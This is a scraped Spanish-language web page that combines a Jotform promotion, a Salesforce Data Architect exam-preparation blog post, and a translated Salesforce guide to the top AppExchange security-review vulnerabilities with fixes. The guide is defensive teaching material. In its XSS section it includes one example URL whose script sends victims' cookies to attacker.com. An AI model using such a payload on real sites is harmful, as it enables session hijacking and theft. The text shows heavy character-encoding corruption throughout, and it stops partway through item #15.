Las organizaciones sin fines de lucro califican autom谩ticamente para descuentos. Y para aquellos que requieren acceso a toda la empresa o un enfoque personalizado, Jotform ofrece soluciones empresariales; Hable con alguien hoy para obtener m谩s informaci贸n.

Pruebe Jotform para Salesforce hoy y d铆ganos c贸mo se siente al respecto. Adem谩s, no dude en comentarnos en AppExchange.

Chris es creador y comercializador de contenidos en Jotform y cree en la escritura creativa como fuerza para el cambio positivo. Al poseer una experiencia profesional y un conjunto de habilidades diversas, Chris produce un liderazgo intelectual galardonado. El cine, los viajes, el dise帽o y la buena comida y vino con amigos se encuentran entre sus amores.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es lo que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntete libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Preparaci贸n para el examen de arquitecto de datos certificado de Salesforce

Preparaci贸n para el examen de arquitecto de datos certificado de Salesforce

Ha estado en mi mente por un tiempo, ya que para m铆 esta certificaci贸n era la 煤ltima que me faltaba por adquirir en la ruta de Arquitecto de Aplicaciones (da la casualidad de que tambi茅n tengo el certificado "opcional" de Experience Cloud).

Tener muchas cosas sucediendo en este momento y anhelar algo de espacio mental fue el detonante que el otro d铆a me hizo decir: 鈥淏ueno, tambi茅n puedo intentarlo; Ojal谩 se me quite de la cabeza de una vez por todas鈥. Aprender铆a de cualquier manera, 隆eso es seguro!

Y esto pas贸鈥

隆Uf!

Algunas personas se han acercado para preguntar sobre la preparaci贸n para el examen y la orientaci贸n, por eso escribo esto aqu铆 para tratar de ayudar a otros.

El contexto es clave

Cualquier certificaci贸n de examen que hago est谩 dentro de contexto, con eso me refiero a haber trabajado ya durante alg煤n tiempo en el producto en cuesti贸n.

"Somos lo que hacemos repetidamente. La excelencia, entonces, no es un acto sino un h谩bito." -Arist贸teles

As铆 es como funciona mi cerebro; de lo contrario, lo encuentro como una actividad abstracta que depende principalmente de la memoria m谩s que de la experiencia. Y bueno, despu茅s de todo, soy un Scrum Master, 隆el empirismo existe!

"Salesforce recomienda encarecidamente una combinaci贸n de experiencia laboral, asistencia a cursos y autoestudio para maximizar sus posibilidades de aprobar el examen". 鈥擟omienzo del sendero

Gu铆a de examen

La oraci贸n anterior proviene de la gu铆a del examen; sol铆a ser un PDF, pero ahora el contenido est谩 integrado en Trailhead.

La gu铆a del examen es SIEMPRE tu punto de partida, me sorprende cu谩nta gente no usa este recurso (隆algunos ni siquiera saben que existe! 隆驴C贸mo?!).

La gu铆a del examen est谩 dise帽ada para ayudarlo a evaluar SI est谩 listo para completar con 茅xito el examen. Y le brinda un desglose de todas las secciones y temas que se cubrir谩n, y tambi茅n de lo que se espera de usted. Por ejemplo en este en particular:

La credencial de Arquitecto de datos certificado de Salesforce est谩 destinada al arquitecto que eval煤a el entorno y los requisitos de la arquitectura; y dise帽a soluciones s贸lidas, escalables y de alto rendimiento en la plataforma Customer 360. El Arquitecto tambi茅n tendr谩 experiencia trabajando con lo siguiente:

  • Modelado de datos y dise帽o de bases de datos
  • Gesti贸n de datos maestros
  • Gesti贸n de datos de Salesforce
  • Dato de governancia
  • Consideraciones sobre grandes vol煤menes de datos
  • Migraci贸n de datos

El arquitecto tiene experiencia en comunicar soluciones y dise帽ar compensaciones a empresas y partes interesadas de TI.

Incluso tienes el esquema del examen donde puedes ampliar cada secci贸n (aqu铆 es donde est谩 lo bueno):

Recursos

驴Mencion茅 la gu铆a del examen?鈥 隆脷sala en serio! https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

Literalmente cre茅 mi propio documento a partir de 茅l y desglos茅 cada elemento, defin铆 la l贸gica y las consideraciones, escribir y estructurar me ayuda a digerir y reforzar algunos conceptos. Por ejemplo, escrib铆 este art铆culo disponible p煤blicamente para Pardot hace bastantes a帽os, solo para darle una idea.

Hablando de empirismo, en general, mi mejor recurso es… 隆una organizaci贸n de edici贸n para desarrolladores! 隆Donde pruebo todo y m谩s! Practica, practica, practica: soy un poco de la vieja escuela en eso: toma el desglose de la gu铆a de certificados para cada elemento, define la l贸gica y luego juega con ella.

Algunos de los contenidos de este en particular pueden ser un poco m谩s complicados, como grandes vol煤menes de datos, pero afortunadamente he estado en algunos proyectos relevantes incluso recientemente, lo que siempre ayuda. Tambi茅n el a帽o pasado con el Sr. Agente Gill 馃槈

Aunque se escribi贸 hace bastante tiempo, este art铆culo sigue siendo una lectura muy relevante https://developer.salesforce.com/blogs/engineering/2013/06/extracting-large-data-volume-ldv-in-force-com, y que le permitir谩 revisar PK Chunking y Bulk API.

Siguiendo con m谩s contenido de la vieja escuela de "anta帽o", consulte la serie de Extreme Force.com, aqu铆 est谩 la Parte 1: https://developer.salesforce.com/blogs/engineering/2013/02/extreme- carga-de-datos-de-salesforce-parte-1-ajuste-su-modelo-de-datos

Probablemente tambi茅n sugerir铆a ignorar sus patrones de dise帽o de integraci贸n, lo que le ayudar谩 a guiar algunas decisiones de respuesta: https://developer.salesforce.com/docs/atlas.en-us.integration_patterns_and_practices.meta/integration_patterns_and_practices/integ_pat_intro_overview.htm

Hacer una combinaci贸n de escribirlo yo mismo, probar los conceptos, luego ver algunos videos sobre el mismo concepto y leer m谩s me ayud贸 a mantenerme concentrado.

Consejos

Como sabe, no puedo darle ning煤n detalle, eso ser铆a una violaci贸n de los t茅rminos y condiciones del programa de certificaci贸n y tiene consecuencias graves, tanto para quienes comparten como para quienes utilizan cualquier informaci贸n expuesta del examen.

Lo que te puedo decir es que deber铆as revisar:

  • Cu谩ndo o cu谩ndo no usar Cuentas personales (esa es la vista de Salesforce, por encima de su opini贸n)
  • C贸mo mejorar la calidad de los datos en toda su pila tecnol贸gica
  • Cu谩ndo o cu谩ndo no utilizar Rollups
  • Qu茅 API usar cuando
  • C贸mo manejar grandes vol煤menes de datos (es decir, carga, rendimiento, exportaci贸n, cosas como compartir, bloqueos, etc.)
  • Cu谩ndo o cu谩ndo no utilizar relaciones maestro-detalle
  • Qu茅 tipo de integraci贸n usar y cu谩ndo
  • C贸mo capturar y gestionar metadatos
  • Cu谩ndo y cu谩ndo no utilizar objetos grandes y objetos externos
  • Gesti贸n de datos maestros
  • Gobernanza: cumplimiento y funcionalidad relacionada

Seguramente me he perdido algo, pero eso es lo m谩s importante en este momento. Consulte y trabaje con su gu铆a de examen: https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

驴Qu茅 est谩s haciendo?

Recuerde tambi茅n: el objetivo no es simplemente aprobar un examen, sino demostrar que ya tiene el conocimiento y la experiencia.

Ahora es tu turno: 驴Para qu茅 certificaci贸n est谩s trabajando? 驴Cu谩l es su enfoque?

隆Cu茅ntanos y etiqu茅tanos para que podamos celebrar contigo!

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

